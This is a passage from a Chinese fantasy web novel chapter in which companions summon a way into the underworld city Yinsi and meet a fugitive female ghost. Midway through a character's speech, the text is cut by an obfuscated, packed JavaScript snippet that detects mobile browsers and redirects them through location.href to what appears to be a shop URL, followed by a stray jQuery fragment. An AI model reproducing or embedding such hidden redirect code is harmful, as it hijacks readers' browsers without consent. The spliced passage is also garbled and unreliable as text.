可那些修士一个个都是凡人之躯,实在想不出为什么会同冥界有关系。
冥思苦想之际,姜梨开口了。
“应该不是同一回事,但原理是大致相同的。”
她指着画中的那鼎,上面的文字看起来像远古的符号。
“上面的字我也认不全,但大概拼凑出了一些信息:将足够数量的忘尘放置于炎阳鼎中,经过秘法炼化,得出冥界至宝,能够活死人肉白骨。”
“这宝莫非是……”
“悯生土。”
姜梨的话音落在空荡的殿外,掷地有声。
空气一瞬间安静了。
“姜姐姐。”
颂秋率先打破了沉寂的氛围。
“你好厉害!这么复杂的文字都看得懂。”
姜梨脸上闪过一丝无所适从,萧策不动声色地替她解释道:“那是,你是第一天才知道吗?我们阿梨博古通今学富五车……”
姜梨默不作声避开他伸来的手,在暗处递过来感激的目光。
“只是这忘尘微小,炼化出悯生土不是一件容易的事。”
“需要多少?”
“至少三千粒。”
“三千粒?!”
在场的人全部倒吸一口凉气。
杨昭抬头望了一眼天上的满月道:“虽然传说中冥界的时间流逝比凡间要慢上许多,可三千怨魂实在不是一个小数目。”
关于人间一日,冥界十年的说法,还是,杨昭也是曾经从一个小妖那里听来的,年代有些救援,当时他只是当个传说来听,没想到自己有朝一日竟然真的来到了冥界。
“我也是听说的,不一定对。”
末了,他还是补充了一句。
“你知道的还挺多。”
耳后冷不丁冒出一道声音,杨昭迅速戒备,拔剑转身,看到从往生殿中走出来的孟英。
她看起来心情愉悦,所以杨昭刚刚那番话说出口时,她好心地点评了一番。
“的确有这个说法,十年死生,不抵朝夕。你们刚刚说的话我听到了,勇气可嘉,我看好你们!”
语气听不出是幸灾乐祸,还是由衷祝福,说完她便疾步远去,区区几步便没了踪影。
“那忘川河肯定是不能再去了。”
姜梨低头看向孟长均身上大大小小的伤痕,放弃了这个已知的伤敌一千自损八百的方法。
其余的魂魄大多由鬼差勾来之后,直接送进了阴司城暂作停留。只是这阴司城的位置……无人知晓。准确的说,没有活人知晓。
“总不能真的有人死一次来召唤鬼差吧!”
萧策的话音越来越小,他想起了很久以前的一段离奇经历,那时他还没有遭遇家破、人亡、背井离乡这一系列重大变故,一切只当是一个寻常的与朋友相约吃酒的下午,却无意间成为了一切的开端。
“肃府……肃渊……”
萧策喃喃自语,脑海中浮现出那张苍老的脸。
“什么?”
一旁的姜梨听到这个熟悉的名字,她从未向别人讲过关于那些痛苦轮回的细节,闻声转过头来。一时激动之下忘了控制音量,引得其他人纷纷也侧目看过来。
萧策被她盯得有些不自在地扭了扭身子:“咳,就是我说出来你们可能不信,在我来白鹭山之前,曾经进入过一个离奇的幻境,那是一个叫做肃府的宅邸,里面有黑白无常打扮打扮的鬼差,还有一个老人,看起来对世间充满眷恋。”
“然后呢?”
“然后我就出来了。”
问话的人满是遗憾,这激起了萧策的些微不满:“不是兄弟,我第一次撞鬼,没当场尿了就已经很不错了好吧!”
萧策欲盖弥彰地解释道,“不过确实给了我一点头绪。”
孟长均用眼神示意他继续说下去。
“当时我记得我走在街上,然后在街角的地方不小心一脚踩进了还没完全熄灭的火堆。那火堆里纸钱和元宝,应当是有人在这里祭奠先人。所以,只要我们还愿一下这个场景,说不定就可以召唤出鬼差大人来?”
说罢,他向孟长均摊开手。
孟长均先是一愣,随即会意,从荷包中抓出一叠纸钱,放到了萧策的手中。
萧策用火烛燎了几下,先引燃了几张黄表纸,随即将其余的纸钱纷纷盖在上面,很快便打着旋向上飞起,向浴火的蝴蝶,最终降落在忘川之中。
地上的火光渐渐熄灭的时候,灰黑相间的灰烬中残留着细小的火星。
萧策站直了身子,第一个迈了进去,其余人纷纷紧随其后。
天地倒旋,进入了另一个空间。
这里的温度虽然没有忘川河冷,但到底是阴间,身边的憧憧鬼影形成了天然的降暑屏障。
“这就是阴司城?”
杨昭好奇地环顾四周,从前只是听说,今天终于得以一见。他下意识摩挲着颈间的珍珠,手中一空。
这里和丰都城的景象很像,沿街有商铺,有酒馆,很难把这里和阴间那些恐怖传说联想起来,除了路上行人那明显异于常人的样貌,面色青紫,舌头有的还吊在外面。
“连个城门都没有,咱们居然就这样进来了,咱们看起来太活人了,要不也化个妆?小叶你……”
萧策在看到叶颂秋此时的形态后不禁倒吸一口凉气。
他们五人之中,只有叶颂秋最像鬼——她只有缥缈的灵体,双脚的位置是空的,看起来就像漂浮在半空中。
孟长均见此情形眉头一皱,暗道一声不好,从怀中掏出个黑漆漆的小东西向她眉心一拍:“魂魄离体了,快回去等我们!”
叶颂秋只觉得头脑突然一片冰凉,便好似被一只手向后拽去,身边的景象在飞速倒退,再睁眼时,自己已经回到了忘川河边,身边是罗春花那座孤零零的小墓碑。
“孟兄你这是何意啊?”
一切发生的太快,大家都没老来得及反应,萧策看着叶颂秋凭空消失的方向,不解地问道。
“你刚刚,不也是魂魄离体才进的往生殿吗?”
孟长均料到他会这样问,于是解释道:“那不一样,我本就不是完人,魂体结合与常人不同,可颂秋却是完完全全的生魂,贸然离体,肉身怕是承担不起如此的代价而腐坏
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954868|186209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,灵魂也会因为不稳固而散落。”
原来是这样,那她还是老老实实等大家收集好三千怨魂后回去接她好了,只是冥界岁月长,不知道要等上猴年马月……
就在叶颂秋认命一般靠在罗春花墓碑边坐着睡着的时候,阴司城中发生了一起骚动。
几名官差打扮的人脚步匆匆地四处奔走,迎面撞上刚进城的四人,于是凶神恶煞地拿出一张画像问道:“你,见没见过这只鬼?”
萧策没来得及刹住步子,一头撞上了那张纸,他只得后退两步去看。
画像上的女子远山眉,杏核眼,美目流转,巧笑倩兮,他下意识脱口而出:“不认识!”
面前的人点点头,向另一个路人走去。
这时萧策回过神来,等等,画上的人,他好像还真见过,他猛然转过身去看刚刚经过的那棵两人粗的大槐树,树后已空无一人。
刚才,那里有一个女子,脸上有些脏污,但细细回想起来,眉眼见和那画像上如出一辙。
萧策一时间拿主意,莫非,这阴间也有通缉鬼?
正当他向把这事说给同伴听的时候,身旁响起一道声音:“谢谢你!”
萧策感觉到脖子上的凉气,僵硬着一寸寸转过头去,身后站着的,正是那画像上的女子!
萧策的内心在咆哮,不是,你们冥界流行在人背后说话吗!这么没礼貌吗!
那女子恍若未觉,在他们脸上巡视了一圈,最终视线定格在孟长均身上,目光里满是期盼与恳切。
“这位大哥。”
孟长均心说,别,你不一定比我小。
“请问,有什么事吗?”
那女鬼脸上的泪痕与伤痕交错,“可否帮妾身一个忙?我看出你不是寻常人。”
“你说。”
孟长均帮鬼帮多了,下意识就开口回应人家。
“妾身本是扬州城一小女子,三年前探亲途中路遇劫匪死于非命,家乡有一青梅竹马的邻家哥哥,还在等着我回去,您……”
“帮你还阳?”
萧策听出来她的企图,“这我们可做不到,三年,你的肉身怕是也……”
“不是不是……”
那女子连连摇头,“我哪敢奢求还阳,只是想求你们帮我寻到他,帮我传个话,告诉他,不必再等我了,他是个实心眼的,不和他说的话,怕是要一直等下去。”
“这是……你的执念?”
姜梨试探着开口问道,两个字迅速提醒了所有人,这不就开张了吗?!
那女子咬着嘴唇点点头,“只要各位帮我完成这个心愿,小女子当牛做马在所不辞!”
“可我们,往返阳间也不容易……可以说是还没找到方法。”
“没关系,事成之后不用告诉我,我相信你们。”
“你为何这样肯定?”
孟长均好奇地问道。
那女子指着孟长均,“因为我见过一个和你很像的人,她便是那样的言而有信。”
孟长均听到这句话有些出神,她说的,是孟英,还是……
“在这!抓住她!”